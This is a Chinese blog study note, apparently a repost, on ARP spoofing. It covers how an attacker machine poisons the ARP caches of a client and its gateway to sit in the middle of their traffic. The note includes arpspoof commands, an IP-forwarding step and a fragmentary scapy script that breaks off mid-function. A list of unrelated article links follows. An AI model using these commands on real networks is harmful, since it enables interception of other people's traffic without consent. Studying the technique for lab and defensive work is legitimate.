协议包分析

ARP原理:

在PC1 访问 Server 的流量 要经过网关  也就是 192.168.1.254

欺骗原理:pc1  与 网关 建立 MAC  ARP 缓存

我们将KALI 攻击机的 MAC 发给 pc 1 告诉   此时 ARP关系 与KALI 进行建立

arpspoof - i eth0 -t 192.168.1.254 192.168.1.1   把自己的MAC 发给  192.168.1.1  以网关的身份发过去 -- 192.168.1.254 - 192.168.1.1 这里会更改 用户的 MAC ARP缓存

arpspoof - i eth0 -t  192.168.1.1    192.168.1.254   把自己的MAC 发给 192.168.1.254 以用户的身份发过去 告诉网关 我们才是用户        --   192.168.1.1 - 192.168.1.254  这里会更改 网关的MAC ARP缓存

这样 192.168.1.1 请求的 结果 就会返回给 KALI  KALI 再发给 网关

网关得到的结果 发给客户端   也会返回KALI  KALI 再发给客户端

在kali 下操作 需要 echo 1 > /proc/sys/net/ipv4/ip_forward

脚本编写:

利用python

scapy 模块

包:pkt=Ether(dst='ff:ff:ff:ff:ff:ff')/ARP(pdst=ip1,psrc=ip2)

sendp(pkt)

import sys

import time

from scapy.all import *

def arp_spoof(ip1,ip2):

  try:

    pkt=Ether(dst='ff:ff:ff:ff:ff:ff')/ARP(pdst=ip1,psrc=ip2)

    sendp(pkt)

  except:

转载于:https://www.cnblogs.com/echod/p/9046253.html

arp_spoof脚本的编写相关推荐

  1. windows编写linux脚本,Windows PowerShell:共享您的脚本 - 在脚本中编写 Cmdlet | Microsoft Docs...

    Windows PowerShell:在脚本中编写 Cmdlet 08/17/2016 本文内容 Don Jones Windows PowerShell v2 中一项很酷的新功能是能够编写性能明显改 ...

  2. 嵌入式 linux 启动脚本 编写,[9构建嵌入式linux系统项目-启动脚本的编写.ppt

    [9构建嵌入式linux系统项目-启动脚本的编写 启动脚本 教学回顾 shell语法 管道.重定向 变量 结构性语句 教学内容 启动脚本的写法 教学要求 熟悉掌握启动脚本的写法 shell 函数 在s ...

  3. 性能测试脚本的编写和调试_编写自动调试器以在测试执行期间捕获异常

    性能测试脚本的编写和调试 以前,我曾说过, 您总是想保留一些调试器断点作为例外 . 这有助于防止代码在不注意的情况下腐烂掉,有时掩盖了另一个问题. 如果您认真对待这一点,那么最好将此想法扩展到自动化测 ...

  4. 面试小能手速成,接口测试脚本如何编写?其实很简单

    前言 最近去一个面试被问到 "接口测试脚本如何编写" ,我的回答是 根据"接口测试文档"编写 ,但面试官说回答的不太好,现在想来确实有所欠缺,那么应对这样的问题 ...

  5. shell脚本中编写SQL中 以传参(${accdate})的方式 动态:求 前12个月的日期和求 前一周(7天的日期)

    shell脚本中 编写SQL中 以传参(${accdate})的方式 动态 求 前12个月的日期 CAST(CAST(DATE_FORMAT(DATE_SUB(from_unixtime(unix_t ...

  6. 【web安全学习篇1】VBS脚本基础编写总结

    [web安全学习篇1]VBS脚本基础编写总结 VBS初始及变量 常量 注释与数学运算 布尔类型 if判断 select语句实现多条件循环 循环结构 循环嵌套 数组的定义与应用 定义二维数组及应用 初识 ...

  7. fceux源码解析_FCEUX金手指加强版 - 使用Lua脚本语言编写FC/NES金手指脚本

    一直觉得大部分的FC/NES模拟器的作弊码金手指不是那么方便使用, 比如魂斗罗1代, 玩家的武器可以通过修改0xAA的值来改变: 0x11为M弹(重机枪),0x12为F弹(圈圈),0x13为S弹(散弹 ...

  8. BAT、CMD脚本的编写与实际应用[转]

    在微软官方的定义中,BAT属于批处理脚本(可以运行在DOS.WINDOWS下),是用来进行简化平时操作的批量化集成文件.而CMD,则是只能运行在NT系统下的批处理文件,其功能与BAT是一样的. 从早期 ...

  9. 性能测试脚本的编写和调试

    原文链接 性能测试脚本的编写和调试 传学 2017-05-11 10:17:32 浏览86 评论0 发表于: 阿里云服务 >> 最佳实践 性能 测试 性能测试 压力测试 压测 摘要: 性能 ...

最新文章

  1. php 数组值的交集,PHP 数组交集与差集
  2. KNN分类器、最近邻分类、KD树、KNN分类的最佳K值、基于半径的最近邻分类器、KNN多分类、KNN多标签分类、KNN多输出分类、KNN分类的优缺点
  3. sys连接oracle数据库提示无法解析,用Oracle数据库,用sys登录的时候口令正确,但是却登录不了...
  4. php array_diff_key,php中array_diff_key函数具有什么功能呢?
  5. 背包问题之我的思考一
  6. MySQL之一致性检测及数据同步
  7. 程序员面试题精选100题(06)-二元查找树的后序遍历结果[数据结构]
  8. css搜索框变圆脸角,CSS浮动布局
  9. 【Task5(2天)】模型调参
  10. Hadoop进阶之输入路径如何正则通配?
  11. 找出数组中只出现1次的两个元素
  12. 项目开发中如何提升团队的战力?
  13. 当前最热门的编程语言python_2020年度最热门的编程语言盘点
  14. 「360企业安全云」上线,免费护航中小微企业数字化建设
  15. Github官网无法访问问题
  16. Paxos太难懂?五张图读懂Paxos协议
  17. httpClient如何设置代理
  18. JS中的跨域问题及解决办法汇总
  19. 中文站OFFER集群SSD的检测结果(张瑞)
  20. 韦东山 IMX6ULL和正点原子_「正点原子NANO STM32开发板资料连载」第三章 MDK5 软件入门1...

热门文章

  1. Python修改文件编码格式
  2. mini2440硬件篇之Nor Flash
  3. Flutter 实现画中画效果
  4. vue第2天知识点:v-if和v-show、v-else和v-else-if、v-text和v-html、v-pre和v-once、v-cloak、指令总结、案例-todomvc
  5. logrotate命令学习
  6. Java第二次pta大作业总结
  7. 几句让自己保留的动力的格言
  8. python ggplot画等值线图_传说中的画图神器Plotnine,Python中的ggplot2
  9. AJAX | 跨域与JSONP + 同源策略和跨域 + JSONP + 防抖和节流 + 案例 – 淘宝搜索
  10. 微信小程序获取地理位置失败原因及解决方案